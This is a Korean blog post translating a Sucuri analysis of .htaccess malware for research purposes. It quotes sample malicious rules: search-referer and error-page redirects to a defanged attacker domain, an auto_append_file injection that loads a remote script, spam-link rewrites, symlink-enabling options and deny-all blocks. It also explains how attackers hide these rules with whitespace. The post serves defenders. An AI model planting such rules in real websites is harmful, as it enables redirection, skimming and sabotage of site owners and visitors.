KOROMOON

착한 사마리아인이 되고 싶습니다.

11/11/2021

.htaccess 파일을 이용한 악용 사례


Sucuri 사의 블로그 글을 연구 차원에서 필요한 부분 번역함.

출처 : 

https://blog.sucuri.net/2021/11/understanding-htaccess-malware.html




.htaccess 파일은 공격자의 표적으로 악명이 높음.

주로 아래와 같은 악의적인 행위를 할 수가 있으며 가능성은 무한함.

- 파일을 사용하여 악성코드를 숨김

- Black Hat SEO 전술을 사용하여 검색 엔진을 다른 사이트로 리다이렉션함

- 백도어를 숨김

- 컨텐츠를 삽입함

- php.ini 값을 수정함


"." 로 시작하는 파일로 숨김 파일이기에 많은 사이트 관리자가 이 파일을 인식하지 못함.

그래서 .htaccess 파일을 이용한 악용 사례를 서버에서 정확히 찾아내고 치료하기 어려울 수 있음.




( 1 ) .htaccess 파일이란?


< .htaccess 파일 화면 >


.htaccess 파일은 Apache 서버 환경에 특정한 매우 중요하고 강력한 파일임.

이를 통해 웹 관리자는 환경을 전체적으로 또는 디렉토리 별로 변경할 수 있음.

특정 IP 주소, 참조자 및 사용자 에이전트에 대한 액세스를 허용하거나 거부할 수 있음.


또한, mod_rewrite 를 사용하여 WordPress 환경에서 정상적인 영구 링크를 만드는 데 사용됨.

매우 다재다능하고 유용하며 강력한 파일이지만 공격자는 자신의 목표를 위해 이 파일을 악용하기도 함.




( 2 ) .htaccess 리다이렉션 악용 사례


일반적인 악용 사례 중 하나는 .htaccess 리다이렉션임.

아래와 같이 명령어를 사용하여 사용자를 검색 엔진에서 악성 사이트로 리다이렉션함.


RewriteEngine On

 

RewriteCond %{HTTP_REFERER} .*google.* [OR]

RewriteCond %{HTTP_REFERER} .*ask.* [OR]

RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]

RewriteCond %{HTTP_REFERER} .*baidu.* [OR]

... (중략)

RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]

RewriteCond %{HTTP_REFERER} .*flickr.*

RewriteRule ^(.*)$ hxxp://koromoon_hacker[.]com/in.cgi?3 [R=301,L]


이 스크립트는 나열된 검색 엔진에서 사이트를 방문하는 모든 사용자의 Referer 값을 확인한 다음 악성 사이트로 리디이렉션함.

(위 예시의 hxxp://koromoon_hacker[.]com/in.cgi?3)

웹사이트 관리자는 검색 엔진을 통하지 않고 주소 표시줄에 도메인을 직접 입력하여 웹사이트를 방문하게 됨.

침해 사고를 알 때까지 감염을 알아차릴 가능성이 줄어듬.




다음은 .htaccess 리다이렉션의 또 다른 악용 사례임.

게시물 이전을 제외하고 "RewriteCond" 앞에 수백 개의 공백이 있어 텍스트 편집기에서 찾기가 더 어려움.


# BEGIN WordPress

RewriteEngine On

RewriteOptions inherit

 

RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]

RewriteRule .* hxxp://koromoon_hacker[.]com/in.php?n=30 [R,L]




또 다른 일반적인 악용 유형은 오류 페이지를 악성 사이트로 리다이렉션하는 것인데 이는 탐지하기가 훨씬 더 어려울 수 있음.

대부분의 웹사이트가 정상적으로 작동하기 때문임.

리다이렉션은 존재하지 않는 페이지에서만 트리거됨.


RewriteEngine On

 

ErrorDocument 400 hxxp://koromoon_hacker[.]com/inject/index.php

ErrorDocument 401 hxxp://koromoon_hacker[.]com/inject/index.php

ErrorDocument 403 hxxp://koromoon_hacker[.]com/inject/index.php

ErrorDocument 404 hxxp://koromoon_hacker[.]com/inject/index.php

ErrorDocument 500 koromoon_hacker[.]com/inject/index.php




( 3 ) 잘못된 auto_append_file 악용 사례


공격자가 숨겨진 위치에서 악성코드를 다운로드하도록 PHP 값 "auto_append_file" 을 수정하여 사이트에 악성코드를 추가함.


php_value auto_append_file "/tmp/13063671977873.php"


"/tmp/13063671977873.php" 의 내용이 모든 PHP 파일에 추가되며 다음과 같이 표시됨.


<script src="hxxp://koromoon_hacker[.]com/jquery.js"></script>


이것은 악성 리다이렉션에서 신용 카드 리더(Credit Card Swiper)에 이르기까지 다양한 유형의 감염에서 볼 수 있는 일반적인 자바스크립트 악성코드임.

주기적으로 공격자는 탐지를 피하기 위해 사용 중인 악성 도메인을 교체함.

이는 일반적으로 차단 목록을 사용하여 사이트별로 수행됨.




( 4 ) 스팸 링크를 생성하는 악용 사례


스팸 링크를 생성하는 악용 사례임.


 

# BEGIN WordPress

 

<IfModule mod_rewrite.c>

RewriteEngine On

RewriteRule ^[a-zA-Z0-9_-]+/([0-9]{1,7})([a-zA-Z0-9]{4})[a-zA-Z0-9_-]$ index.php?smsite=$2&smid=$1 [L]

RewriteBase /

RewriteRule ^index\.php$ – [L]

RewriteCond %{REQUEST_FILENAME} !-f

RewriteCond %{REQUEST_FILENAME} !-d

RewriteRule . /index.php [L]

</IfModule>


이 악용 사례는 정규식을 사용하여 파일 구조 내에서 스팸 악성코드와 결합할 때 웹사이트에 수백 개의 스팸 링크를 생성할 수 있음.

그러면 구글 및 기타 검색 엔진 검색 결과에 표시되고 웹사이트의 SEO 에 해를 끼침.




( 5 ) 심볼릭 폭탄(Symlink Bomb)을 이용한 악용 사례


WHM/cPanel 환경의 매우 일반적인 공격은 심볼릭 링크의 악용임.

WHM 내에서 심볼릭 링크 보호가 비활성화된 경우 공격자는 심볼릭 링크를 사용하여 환경 전체에서 측면으로 이동하고 다른 웹사이트를 감염시키거나 파일 구조 전체에 퍼져 있는 무작위 스팸 심볼릭 링크를 생성할 수 있음.


이는 해당 디렉토리에 있는 .htaccess 파일을 사용하여 부분적으로 가능함.


Options +FollowSymLinks

DirectoryIndex Index.html

Options +Indexes

AddType text/plain .php

AddHandler server-parsed .php


이렇게 하면 서버가 대상에 대한 심볼릭 링크를 따르도록 지시하고 공격자가 환경 전체에 악성코드를 확산하는 데 도움이 됨.




( 6 ) 웹서비스 마비시키는 악용 사례


웹사이트 파일에 대한 액세스를 거부하는 사례임.

예를 들어, 공격자가 웹사이트 파일 구조 전체에 수많은 .htaccess 파일을 다음과 같이 퍼뜨리는 것을 봄.


<FilesMatch '.(php|php5|phtml)$'>

Order allow,deny

Deny from all

</FilesMatch>


이것은 PHP 실행을 방지하는 것 외에는 아무것도 하지 않는 매우 간단한 .htaccess 파일임.


위 파일은 ./wp-content/uploads 와 같은 디렉토리에 배치될 때 보안 조치로 작동할 수 있으나 전체 파일 구조에 흩어져 있으면 웹사이트의 기능을 방해하고 wp-admin 패널을 쓸 수 없게 만들 수 있음.


댓글 없음:

댓글 쓰기